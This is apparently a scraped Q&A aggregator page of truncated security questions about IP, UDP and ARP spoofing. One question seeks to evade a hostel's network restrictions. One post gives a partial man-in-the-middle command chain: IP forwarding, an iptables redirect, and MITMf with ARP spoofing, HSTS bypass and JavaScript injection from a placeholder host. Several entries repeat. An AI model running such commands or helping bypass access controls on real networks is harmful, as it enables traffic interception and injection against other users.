How to spoof my subnet
At short, I am on the subnet 172.16.132.x (which has access restrictions.ie HOSTEL) and I want to be spoofed as 172.16.10.x(which has no restrictions..ie CANTEEN). Please explain about that if possble.
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How to spoof my subnet
At short, I am on the subnet 172.16.132.x (which has access restrictions.ie HOSTEL) and I want to be spoofed as 172.16.10.x(which has no restrictions..ie CANTEEN). Please explain about that if possble.
How realistic is it to spoof a specific UDP IP address?
Let’s say that I’m a malicious user Bob and I have found a vulnerability in an application that will allow me to impersonate another user, Alice. Alice is connected to ‘X’ server with her IP address (1.2.3.4) and local port (… Continue reading How realistic is it to spoof a specific UDP IP address?
Is it possible to successfully send a spoofed UDP header with a completely unrelated source IP?
I’ve read that many networks use ingress/egress filtering to eliminate the number of spoofed UDP packets sent and received by their network.
Given that network provides have been much more diligent in restricting the amount … Continue reading Is it possible to successfully send a spoofed UDP header with a completely unrelated source IP?
Openvas. IP blocked by IDS
I did a vulnerability scan for a client server with the OpenVas scanner but after a few minutes my IP address was blocked because the IDS of the server identified the multiple queries related to the scan.
I thought it was po… Continue reading Openvas. IP blocked by IDS
The main difference between IP and ARP spoofing
My question can be broken into two parts:
ARP spoofing attack can appear in various ways but all of them have a similar goal: Take advantage of the lack of L2 authentication by poisoning the target ARP cache with the attack… Continue reading The main difference between IP and ARP spoofing
The main difference between IP and ARP spoofing
My question can be broken into two parts:
ARP spoofing attack can appear in various ways but all of them have a similar goal: Take advantage of the lack of L2 authentication by poisoning the target ARP cache with the attack… Continue reading The main difference between IP and ARP spoofing
Mitmf …[DNS] Could not proxy request: timed out
I did
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080
mitmf –hsts –spoof –arp -i eth0 –gateway x.x.x.x –inject –js-url http://x.x.x.x:3… Continue reading Mitmf …[DNS] Could not proxy request: timed out
Mitmf …[DNS] Could not proxy request: timed out
I did
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080
mitmf –hsts –spoof –arp -i eth0 –gateway x.x.x.x –inject –js-url http://x.x.x.x:3… Continue reading Mitmf …[DNS] Could not proxy request: timed out
Why I am getting logs from Class E IP addresses (Research – Reserved), and my IPS being blocked with threat name "IP Address Spoofed"
Source : 252.205.75.128
Destination : 221.58.178.105
Both IP’s do not belong to us. Direction was Inbound.
How is this possible?
Then why are these IP addresses routed to my network ?